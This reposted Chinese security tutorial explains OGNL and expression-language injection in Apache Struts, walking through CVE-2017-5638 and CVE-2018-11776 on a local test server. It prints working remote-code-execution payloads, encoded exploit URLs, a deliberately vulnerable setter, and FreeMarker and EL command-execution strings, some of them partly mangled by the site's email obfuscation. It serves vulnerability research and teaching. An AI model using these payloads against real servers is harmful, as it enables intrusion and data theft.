Apache Struts OGNL注入漏洞原理与示例

栏目: Struts · 发布时间: 6年前

内容简介:概述通过本篇文章,我们主要了解如何在Apache Struts中实现OGNL注入。我们将举例阐述Struts中的两个关键漏洞:Apache Struts是一个免费的开源框架,用于创建现代的Java Web应用程序。Apache Struts中有许多严重的漏洞,它的一个特性是支持OGNL(对象图导航语言),这也是许多漏洞的主要原因。

概述

通过本篇文章,我们主要了解如何在Apache Struts中实现OGNL注入。我们将举例阐述Struts中的两个关键漏洞: CVE-2017-5638 (Equifax信息泄露)和 CVE-2018-11776

Apache Struts是一个免费的开源框架,用于创建现代的Java Web应用程序。Apache Struts中有许多严重的漏洞,它的一个特性是支持OGNL(对象图导航语言),这也是许多漏洞的主要原因。

其中的一个漏洞(CVE-2017-5638)直接导致了2017年的 Equifax信息泄露 ,暴露了超过1.45亿美国公民的个人信息。尽管该公司的年收入超过30亿美元,但他们仍然没有逃过Apache Struts MVC框架的一个已知漏洞攻击。

本文主要介绍了Apache Struts,然后将指导我们如何修改一个简单的应用程序,使用OGNL并实现漏洞利用。接下来,我们将深入研究该平台上的一些公开漏洞利用方式,并尝试利用OGNL注入漏洞。

尽管 Java 开发人员熟悉Apache Struts,但安全社区往往并不尽然,这也就是我们撰写本文的原因。

入门

运行易受攻击的Struts应用程序需要安装Apache Tomcat Web服务器。该软件包的最新版本可以在 此处 下载(ZIP压缩包)。将二进制文件解压缩到您选择的位置(我们使用/var/tomcat)并继续:

cd /var/tomcat/bin # 转到解压缩的文件夹
chmod +x *.sh      # 将脚本设置为可执行文件
./startup.sh       # 运行启动脚本

我们访问http://localhost:8080/,并检查该站点是否在运行。

确认无误后,我们准备下载旧版本的Apache Struts框架,该框架容易受到我们即将演示的漏洞攻击。该 页面 提供符合我们需求的2.3.30版本Struts。

在提取压缩的内容后,我们应该在/apps位置下看到struts2-showcase.war文件。这是一个使用Struts编译并准备部署的演示应用程序。只需要将WAR文件复制到/var/tomcat/webapps,并访问http://localhost:8080/struts2-showcase/showcase.action确认其是否有效。

Web服务器基础知识

如果您已经很好的掌握了与Java Web应用程序相关的简单概念(例如Servlet),那么您就已经领先了。如果您对 Java Servlet 一无所知,可以将其简单地理解为组件,其目的是创建用于在Web服务器上托管Web应用程序的Web容器,此外它还负责处理对/struts2-showcase等Java应用程序的请求。

要处理Servlet,Web服务器(例如Apache Tomcat)需要一些组件:

1. Apache Coyote 是支持HTTP/1.1协议的连接器。它允许与Servlet容器组件Apache Catalina进行通信。

2. Apache Catalina 容器时确定在Tomcat接收HTTP请求时需要调用哪些Servlet的容器。它还将HTTP请求和响应从文本转换为Servlet使用的Java对象。

Apache Struts OGNL注入漏洞原理与示例

您可以在 这里 找到有关Java Servlet规范的所有详细信息(最新版本为4.0)。

Apache Struts基础知识

与Java Web应用程序一样,使用Apache Struts框架的应用程序可以具有多个Servlet。本文的主要目的不是让大家理解这个构建Web应用程序的框架,只是从表面上弄懂基本概念。我们可以通过 分步教程 来对该主题有所了解。

Apache Struts框架依赖于MVC( 模型-视图-控制器 )架构模式。它对应用程序非常有帮助,因为可以分离主要的 应用程序组件

1. 模型(Model):表示应用程序数据,例如使用“订单”等数据的类。

2. 视图(View):是应用程序的输出,可视部分。

3. 控制器(Controller):接收用户输入,使用模型生成视图。

4. 动作(Actions):Apache Struts中的模型。

5. 拦截器(Interceptors):控制器的一部分,它们是可以在处理请求之前或之后调用的钩子。

6. 值栈/OGNL:一组对象,例如模型或动作对象。

7. 结果/结果类型:用于选择业务逻辑后的视图。

8. 视图技术:处理数据的显示方式。

大家可以在下面看到Apache Struts Web应用程序的 一般体系结构

Apache Struts OGNL注入漏洞原理与示例

控制器接收HTTP请求,FilterDispatcher负责根据请求调用正确的操作。然后执行该操作,视图组件准备结果并将其发送给HTTP响应中的用户。

Struts应用程序示例

要从头开始编写Struts应用程序需要一些时间,所以我们将使用一个已经可用的rest-showcase演示应用程序,这是一个带有基本前端的简单 REST API 。要编译应用程序,我们只需要进入其目录,并使用 Maven 编译:

cd struts-2.3.30/src/apps/rest-showcase/
mvn package

在目标目录中,我们可以找到以下文件:struts2-rest-showcase.war。您可以通过将其复制到Tomcat服务器的webapps目录(例如:/var/tomcat/webapps)来安装。

下面是该应用的源代码:

Apache Struts OGNL注入漏洞原理与示例

以下是可用文件的说明:

1. Order.java是模型,它是一个存储订单信息的Java类。

public class Order {
String id;
  String clientName;
  int amount;
  …
}

2. OrdersService.java是一个Helper类,它将Orders存储在HashMap总,并对其进行管理。

public class OrdersService {
private static Map<String,Order> orders = new HashMap<String,Order>();
  …
}

3. IndexController.java和OrderController.java是Struts应用程序的控制器或动作。

4. 我们还可以看到代表视图的多个JSP文件。

5. 以及例如web.xml和struts.xml的配置文件。

服务器端模板和注入

JSP 通过将静态HTML与在服务器上执行的动态代码混合,可以生成动态HTML代码。与 PHP 类似,可以混合使用Java和HTML代码。下面是一个 示例

<li><p><b>First Name:</b>
  <%= request.getParameter("first_name")%>
</p></li>
<li><p><b>Last  Name:</b>
  <%= request.getParameter("last_name")%>
</p></li>

如上面的代码片段所示,我们可以将请求对象与HTML代码一起使用,并调用getParameter函数,该函数返回参数first_name和last_name的值。

要遵循MVC设计模式并避免视图(JSP)和模型/控制器(Java)之间的复杂混合,可以在JSP文件中使用 表达式语言 。这是一种特殊的编程语言,使视图能够与Java应用程序通信:

<jsp:text>
  Box Perimeter is: ${2*box.width + 2*box.height}
</jsp:text>

该功能也称为服务器端模板,因为它允许在服务器上创建HTML模板,以便轻松管理HTML和Java代码组合。可以使用多个服务器端模板引擎,例如FreeMaker、Velocity或Thymeleaf。

此时,我们不仅在后端使用Java,而且还通过模板引擎使用一些特殊的编程语言,这可能是 服务器端模板注入 漏洞的正确基础。

与其他漏洞一样,当模板引擎解析或解释用户提供的数据时,会出现问题。由于它们的实用性在于它们提供的许多功能,因此模板引擎通常包括调用函数的方法,这为执行操作系统命令打开了大门。

使用FreeMaker模板引擎检查该示例:

<head>
<title>${title}</title>
</head>
…
<#if animals.python.price == 0>
Pythons are free today!
</#if>

在上面的代码中,如果满足条件,则会生成动态生成的标题和消息。

攻击者可以打印动态内容,该内容可能是敏感信息,例如应用程序配置数据。此外,如果模板引擎允许,攻击者可以执行操作系统命令。具体来说,是通过滥用模板引擎的功能。下面是FreeMaker的示例:

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

表达式语言注入

表达式语言用于创建服务器端模板,因此它也快可以被视为是服务器端模板引擎。但由于它也满足其他目的,因此其中的漏洞并非严格意义上的注入类型。下面有一些 示例

${customer.address["street"]}
${mySuit == "hearts"}
${customer.age + 20}
#{customer.age}
${requestScope[’javax.servlet.forward.servlet_path’]}

用户可能能够执行用户提供的表达式语言代码,因此这意味着应用程序可能容易受到表达式语言注入的攻击。正如 这篇文章 所解释的,因为使用了${EL}语法,所以很容易找到表达式语言的缺陷。例如,一个简单的数学运算,例如${9999+1}将被评估为10000,这可能会在响应中可见。

即使这对于攻击者来说不是很有用,也可以使用表达式语言的默认范围来检索实用的信息,例如${applicationScope}或${requestScope}。

进一步 来说,表达式语言注入可以允许会话对象修改,并将用户的权限提升到管理员级别:

${pageContext.request.getSession().setAttribute("admin",true)}

最后,甚至可能使用以下方法获取远程代码执行:

${pageContext.getClass().getClassLoader().getParent().newInstance(pageContext.request.getSession().getAttribute("arr").toArray(pageContext.getClass().getClassLoader().getParent().getURLs())).loadClass("Malicious").newInstance()}

通过拒绝用户提供的表达式语言解析函数输入,保持所有依赖关系更新,甚至通过正确转义用户输入中的#{和${,可以防止此类漏洞。

对象图导航语言注入

对象图导航语言( OGNL )是一种用于Java的开源表达式语言。OGNL的 主要功能 是获取和设置对象属性。在Java中可以做的大部分工作都可以在OGNL中实现。

如果我们要处理订单,如下所示:

public class Order {
String id;
String clientName;
int amount;
… }

可以在JSP文件中直接访问订单属性,如下所示:

<!DOCTYPE html>
<%@taglib prefix="s" uri="/struts-tags" %>
...
<s:form method="post" action=`**`%{#request.contextPath}/orders/%{id}`**` cssClass="form-horizontal" theme="simple">
<s:hidden name="_method" value="put" />`
 
ID
`<s:textfield id=`**`"id"`**` name="id" disabled="true" cssClass="form-control"/>`
 
Client
`<s:textfield id=`**`"clientName"`**` name="clientName" cssClass="form-control"/>`
 
Amount
`<s:textfield id=`**`"amount"`**` name="amount" cssClass="form-control" />
<s:submit cssClass="btn btn-primary"/>
</s:form>

使用%{code}和${code}来评估OGNL表达式。正如其 文档 中所述,OGNL允许以下内容:

1. 访问name或headline.text等属性。

2. 调用toCharArray()等方法。

3. 从数组中访问元素,例如listeners[0]。

4. 甚至可以将它们组合起来:name.toCharArray()[0].numericValue.toString()。

也可以使用变量(#var = 99),创建数组(new int[] { 1, 2, 3 })或映射(#@[email protected]{ "foo" : "foo value", "bar" : "bar value" }),甚至访问静态字段(@[email protected]或调用静态方法:@[email protected](args))。

OGNL是一种功能强大的语言,但在Apache Struts中将用户提供的输入作为OGNL会影响其安全性。我们举一个简单的例子,在rest-showcase应用程序中引入一个漏洞。

我们的所有Order属性都有getter和setter,例如:

public String getClientName() {
return clientName;
}
public void setClientName(String clientName) {
this.clientName = clientName;
}

通过导入三个额外的包,并调用TextParseUtil.translateVariables方法,可以修改setter使其易受OGNL注入攻击,然后将对其进行评估。在我们的示例中,修改检查clientName参数中的值。

import com.opensymphony.xwork2.ActionContext;
import com.opensymphony.xwork2.util.TextParseUtil;
import com.opensymphony.xwork2.util.reflection.ReflectionContextState;
…
public void setClientName(String clientName) {
ReflectionContextState.`**`setDenyMethodExecution`**`(ActionContext.getContext().getContextMap(), false);`
 
`this.clientName = `**`TextParseUtil.translateVariables`**`(clientName, ActionContext.getContext().getValueStack());

translateVariables方法的代码如下:

TextParser parser = ((Container)stack.getContext().get(ActionContext.CONTAINER)).getInstance(TextParser.class);
return `**parser.evaluate**`(openChars, expression, ognlEval, maxLoopCount);

这将评估OGNL表达式(OgnlTextParser.java)。

接下来,我们可以重新编译应用程序,启动并尝试利用clientName参数中的漏洞。最简单的测试方法,是使用简单的数学运算,例如%{999+1}。

Apache Struts OGNL注入漏洞原理与示例

在修改顺序之后,客户端名称将被解析为OGNL,这一点可以通过成功执行数学运算来确认。

Apache Struts OGNL注入漏洞原理与示例

既然我们知道参数是易受攻击的,我们可以在测试中使用它。需要注意的一点是,在调用translateVariables函数之前,我们调用setDenyMethodExecution。这是必要的,因为在设置参数值时,方法的执行将被拒绝,这是一种保护措施,因此我们将无法执行任何方法。

如果在漏洞利用阶段,遇到类似位置的漏洞,可以在任何方法调用之前直接从Payload启用方法执行:

(#context['xwork.MethodAccessor.denyMethodExecution']=false)

感谢mmolgtm指出这一点。

调试Java应用程序

在IDE的内置调试器中运行Java应用程序,可以提高对应用程序和漏洞的理解,因为它提供了漏洞利用工作原理的清晰、渐进的视图。

在调试易受攻击的应用程序的过程中,可以在代码的任何位置设置断点,并且能够检查并修改所有变量。

使用旧的Java应用程序(例如:Struts 2.3.30)可能需要更改某些设置,以允许在调试器中编译和运行它。下面是一些建议:

1. 转到 Run > Debug > Edit Configuration(运行 – 调试 – 编辑配置)。

2. 单击 + ,并选择Maven。

3. 通过选择Maven项目来指定工作目录,例如rest-showcase。

4. 指定以下命令行:jetty:run -f pom.xml(Jetty是Web服务器)。

现在,可以轻松地在setClientName方法上设置断点,在http://127.0.0.1:8080/struts2-rest-showcase/orders.xhtml上打开浏览器,为其中一个订单选择编辑,然后点击提交编辑订单。这应该触发对setClientName的调用,并到达断点。

Apache Struts OGNL注入漏洞原理与示例

CVE-2017-5638根本原因

CVE-2017-5638是Struts中最受关注的漏洞,主要是因为该漏洞在Equifax数据泄露事件中被利用。安全社区认真研究了这一漏洞,这里是其中的 两个 例子

Exploit-DB上 提供了一个漏洞利用方式,我们可以从这里下载并运行。

python CVE-2017-5638.py http://localhost:8080/struts2-showcase/showcase.action "touch /tmp/pwned"
[*] CVE: 2017-5638 - Apache Struts2 S2-045
[*] cmd: touch /tmp/pwned

其结果应该是在/tmp/pwned位置创建文件:

Apache Struts OGNL注入漏洞原理与示例

CVE-2017-5638的问题在于,要利用这一漏洞,不需要框架和应用程序做任何事情,这也是最糟糕的一种情况。

调试器是了解漏洞根本原因的最快方式。使用调试器,在translateVariables方法上放置一个断点,该方法会被漏洞利用来进行调用。

python CVE-5638.py http://127.0.0.1:8080/struts2-rest-showcase/ 'ls -la /'

这样一来,我们就可以查看完整的栈跟踪,包括所需的所有数据。其结果如下:

Apache Struts OGNL注入漏洞原理与示例

如果我们查看栈,可以清楚地了解到正在发生的事情。

1. 在doFilter(…)方法中处理请求,该方法调用prepare.wrapRequest(request);方法。

2. wrapRequest调用dispatcher.wrapRequest(request);。

3. 在这种方法中,我们可以找到一些值得关注的地方:

String content_type = request.getContentType(); if (content_type != null && content_type.contains("multipart/form-data")) { …
 
request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);`
} else {
request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);
}

如果请求的Content-Type标头包含multipart/form-data字符串,那么框架将使用MultiPartRequestWrapper类。

1. 接下来,解析请求multi.parse(request, saveDir);

2. 该方法尝试解析请求,但在发现Content-Type无效时会抛出异常:

if ((null == contentType) || (!contentType.toLowerCase(Locale.ENGLISH).startsWith(MULTIPART))) { throw new InvalidContentTypeException( format("the request doesn't contain a %s or %s stream, content type header is %s", MULTIPART_FORM_DATA, MULTIPART_MIXED, contentType));

1. 这个异常会导致对buildErrorMessage的调用,将执行以下方法:LocalizedTextUtil.findText (this.getClass(), errorKey, defaultLocale, e.getMessage(), args);。其中,e.getMessage()是包含漏洞利用的错误消息。

2. 这导致调用返回findText(aClass, aTextName, locale, defaultMessage, args, valueStack);。

3. 然后调用result = getDefaultMessage(aTextName, locale, valueStack, args, defaultMessage);。

4. 接下来,调用将会执行异常:MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);。

5. translateVariables方法将执行异常:请求不包含multipart/form-data或multipart/mixed流,内容类型标头为%{(#_=’multipart/form-data’)。#[email protected]@DEFAULT_MEMBER_ACCESS

总的来说,该漏洞的利用方法非常简单,带有OGNL表达式的无效Content-Type标头会触发CVE-2017-5638。由于某种原因,带有OGNL表达式的异常消息被解析。

CVE-2018-11776根本原因

要利用此漏洞,我们需要2.5.16版本的Struts,这里可以下载到ZIP格式版本。如这里所述,在自定义配置中可以成功利用:

1. 转到struts-2.5.16目录:cd struts-2.5.16/

2. 搜索struts-actionchaining.xml文件:find . -name struts-actionchaining.xml

3. 编辑XML文件,例如./src/apps/showcase/src/main/resources/struts-actionchaining.xml

4. 修改<struts>标记,使其具有如下值:

<struts>
       <package name="actionchaining" extends="struts-default">
       <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
              <result type="redirectAction">
                     <param name = "actionName">register2</param>
              </result>
       </action>
       </package>
</struts>

这允许我们使用struts2-showcase应用程序作为目标。编译它需要如下步骤:

1. cd src/apps/showcase/ # 转到Showcase目录

2. mvn package -DskipTests=true # 对其进行编译

3. cp target/struts2-showcase.war /var/tomcat/webapps/ # 复制到Tomcat

现在,我们可以通过在Web浏览器中加载以下内容,来检查应用程序是否易受攻击:

http://127.0.0.1:8080/struts2-showcase/**${22+22}**/actionChain1.action

我们应该重定向到 http://127.0.0.1:8080/struts2-showcase/44/register2.action

这里提供了一个包含大量技术实现细节的可用漏洞利用方式。为了利用此漏洞,我们使用以 C语言 编写的漏洞。

我们需要使用URL中编码的以下Payload发送两个请求:

${(#_=#attr['struts.valueStack']).(#context=#_.getContext()).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@<a href="/cdn-cgi/l/email-protection" data-cfemail="d1b2bebcffbea1b4bfa2a8bca1b9bebfa8ffa9a6bea3bae3ffbeb6bfbdff9eb6bfbd84a5b8bd91b2bdb0a2a2">[email protected]</a>)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}
${(#_=#attr['struts.valueStack']).(#context=#_.getContext()).(#<a href="/cdn-cgi/l/email-protection" data-cfemail="31555c0c715e565f5d1f7e565f5d725e5f45544945">[email protected]</a>@DEFAULT_MEMBER_ACCESS).(#context.setMemberAccess(#dm)).(#<a href="/cdn-cgi/l/email-protection" data-cfemail="b9cad584f9d3d8cfd897d0d697ffd0d5dc">[email protected]</a>@separator).(#p=new java.lang.ProcessBuilder({'bash','-c',**'xcalc'**})).(#p.start())}

漏洞利用如下:

http://127.0.0.1:8080/struts2-showcase/%24%7B%28%23%3D%23attr%5B%27struts.valueStack%27%5D%29.%28%23context%3D%23.getContext%28%29%29.%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.setExcludedClasses%28%27%27%29%29.%28%23ognlUtil.setExcludedPackageNames%28%27%27%29%29%7D/actionChain1.action
http://127.0.0.1:8080/struts2-showcase/%24%7B%28%23%3D%23attr%5B%27struts.valueStack%27%5D%29.%28%23context%3D%23.getContext%28%29%29.%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23context.setMemberAccess%28%23dm%29%29.%28%23sl%3D%40java.io.File%40separator%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%7B%27bash%27%2C%27-c%27%2C%27xcalc%27%7D%29%29.%28%23p.start%28%29%29%7D/actionChain1.action

最终,弹出计算机应用程序,这也是预期的结果:

Apache Struts OGNL注入漏洞原理与示例

查看调试器中的Payload,有助于理解其工作原理。请注意,/struts2-showcase/${2+4}/actionChain1.action字符串中的${2+4}在Struts中称为命名空间,actionChain1是动作。

1. 调用execute(ActionInvocation invocation)方法具有以下效果:

if (namespace == null) {
       namespace = invocation.getProxy().getNamespace(); // namespace is “/${2+4}”
}
…
String tmpLocation = actionMapper.getUriFromActionMapping(new ActionMapping(actionName, namespace, method, null));
setLocation(tmpLocation); // tmpLocation is “/${2+4}/register2.action”
super.execute(invocation);

2. execute方法同样调用了super.execute(invocation);

3. 然后调用此方法:

/**
Implementation of the `execute` method from the `Result` interface. This will call the abstract method
{@link #doExecute(String, ActionInvocation)} after optionally evaluating the location as an OGNL evaluation
/*
 
public void execute(ActionInvocation invocation) throws Exception {
       lastFinalLocation = conditionalParse(location, invocation);
       doExecute(lastFinalLocation, invocation);
}

4. conditionalParse方法解析OGNL表达式的参数(在第一步中使用setLocation方法之前设置的位置):

/**
Parses the parameter for OGNL expressions against the valuestack
…
*/
 
protected String conditionalParse(String param, ActionInvocation invocation) {
       if (parse && param != null && invocation != null) {
              return TextParseUtil.translateVariables(
                     param,
                     invocation.getStack(),
                     new EncodingParsedValueEvaluator());

其结果是可以执行任意OGNL变道时。关于这个问题的更多细节位于这里。其要点是,当使用动作链时,来自用户的命名空间将被解析为OGNL。

了解OGNL注入Payload

如果你想知道为什么公开的漏洞利用不是类似于%{@[email protected]().exec('command')}这样的,实际上有两个原因。一个是由于Struts维护团队实现的保护机制,另一个涉及到功能(读取命令的输出,或使其跨平台)。

页面 提供了有用的详细信息,下面是其简短的摘要:

1. SecurityMemberAccess类在Payload执行期间,可以作为_memberAccess,决定OGNL可以执行的操作,但可以选择使用条件更加宽松的DefaultMemberAccess类。

2. 另一个保护措施是将类和包名称列入黑名单。

3. 另外一种不同的缓解措施,可能是对静态方法的限制,这可以通过_memberAccess 类的allowStaticMethodAccess字段实现。

CVE-2017-5638和CVE-2018-11776 Payload:

(#_='multipart/form-data').
(#<a href="/cdn-cgi/l/email-protection" data-cfemail="80e4edbdc0efe7eeecaecfe7eeecc3efeef4e5f8f4">[email protected]</a>@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#context['xwork.MethodAccessor.denyMethodExecution']=false).
(#ognlUtil=#container.getInstance(@<a href="/cdn-cgi/l/email-protection" data-cfemail="c5a6aaa8ebaab5a0abb6bca8b5adaaabbcebbdb2aab7aef7ebaaa2aba9eb8aa2aba990b1aca985a6a9a4b6b6">[email protected]</a>)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#cmd='/usr/bin/touch /tmp/pwned').(#<a href="/cdn-cgi/l/email-protection" data-cfemail="2c455f5b4542116c464d5a4d02404d424b027f555f584941">[email protected]</a>@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).
(#ros=(@<a href="/cdn-cgi/l/email-protection" data-cfemail="0d627f6a236c7d6c6e6568237e797f78797e3f235e687f7b6168794c6e796462634e6263796875794d6a68795f687e7d62637e68">[email protected]</a>().getOutputStream())).
(@<a href="/cdn-cgi/l/email-protection" data-cfemail="dab5a8bdf4bbaabbb9b2bff4b9b5b7b7b5b4a9f4b3b5f493958faeb3b6a99ab9b5aaa3">[email protected]</a>(#process.getInputStream(),#ros)).(#ros.flush())

1. #_=’multipart/form-data’ – 需要一个随机变量,因为我们的Payload中需要multipart/form-data字符串才能触发漏洞

2. #[email protected]@DEFAULT_MEMBER_ACCESS – 使用DefaultMemberAccess(比SecurityMemberAccess的条件更加宽松)的值创建dm变量

3. #_memberAccess?(#_memberAccess=#dm) – 如果_memberAccess类存在,我们将其替换为dm变量的DefaultMemberAccess

4. #container=#context[‘com.opensymphony.xwork2.ActionContext.container’] – 从上下文中获取容器,将在后面需要用到

5. #ognlUtil=#container.getInstance(@[email protected]) – 使用它来获取OgnlUtil类的实例(我们无法直接执行,因为它被列入了黑名单之中,完整的列表位于./src/core/src/main/resources/struts-default.xml)

6. #ognlUtil.getExcludedPackageNames().clear() – 清除不包含的包名称

7. #ognlUtil.getExcludedClasses().clear() – 清除不包含的类

8. #context.setMemberAccess(#dm) – 将DefaultMemberAccess设置为当前上下文

9. #cmd=’/usr/bin/touch /tmp/pwned’ – 定义我们想要执行的命令

10. #iswin=(@[email protected](‘os.name’).toLowerCase().contains(‘win’)) – 如果应用程序在Windows上运行,则保存在变量中(跨平台漏洞)

11. #cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd}) – 指定如何根据操作系统执行命令(cmd.exe或bash)

12. #p=new java.lang.ProcessBuilder(#cmds) – 使用ProcessBuilder类来运行命令(参数)

13. #p.redirectErrorStream(true) – 查看命令的错误输出,可能也会有帮助

14. #process=#p.start() – 执行命令

15. #ros=(@[email protected]().getOutputStream()) – 获取响应的输出流,将数据发送回用户

16. @[email protected](#process.getInputStream(),#ros) – 获取执行命令的输出

17. #ros.flush() – 刷新,确保我们发送所有数据。

对CVE-2018-11776的漏洞利用有一些不同之处:

1. #_=#attr[‘struts.valueStack’] – 使用attr获取ValueStack

2. #context=#_.getContext() – 获取上下文

3. #container=#context[‘com.opensymphony.xwork2.ActionContext.container’] – 获取容器

4. #ognlUtil=#container.getInstance(@[email protected]) – 获取对OgnlUtil类的引用

5. #ognlUtil.setExcludedClasses(‘’) – 清除不包含的类

6. #ognlUtil.setExcludedPackageNames(‘’) – 清除不包含的包名称

7. #[email protected]@DEFAULT_MEMBER_ACCESS – 使用值DefaultMemberAccess定义变量dm

8. #context.setMemberAccess(#dm) – 设置DefaultMemberAccess而不是SecurityMemberAccess

9. #[email protected]@separator – 未使用

10. #p=new java.lang.ProcessBuilder({‘bash’,’-c’,’xcalc’}) – 使用命令(xcalc)声明ProcessBuilder

11. #p.start() – 执行命令

总结

尽管Apache Struts是一个众所周知且广泛使用的框架,但由于缺乏公开的安全研究,使其仍然可能成为一个简单的目标。有关该主题的公开研究知识,可以在 LGTM博客 中获得。

OGNL注入漏洞影响Apache Struts的多个版本,并且是通过滥用代码中的现有功能,来实现远程执行代码的一个良好示例。

漏洞利用一开始可能看起来很困难,但实际上并非如此,调试器总是非常有帮助。熟悉Java可能对安全研究者来说非常困难,但最终会变成一个优势。

在所有新研究中,耐心是最有价值的品质。我们的建议是,当事情变得困难时,不要轻易放弃。并且善于提出问题,安全社区总是一个最有帮助的地方。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

About Face 3

About Face 3

Alan Cooper、Robert Reimann、David Cronin / John Wiley & Sons / 2007-5-15 / GBP 28.99

* The return of the authoritative bestseller includes all new content relevant to the popularization of how About Face maintains its relevance to new Web technologies such as AJAX and mobile platforms......一起来看看 《About Face 3》 这本书的介绍吧!

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具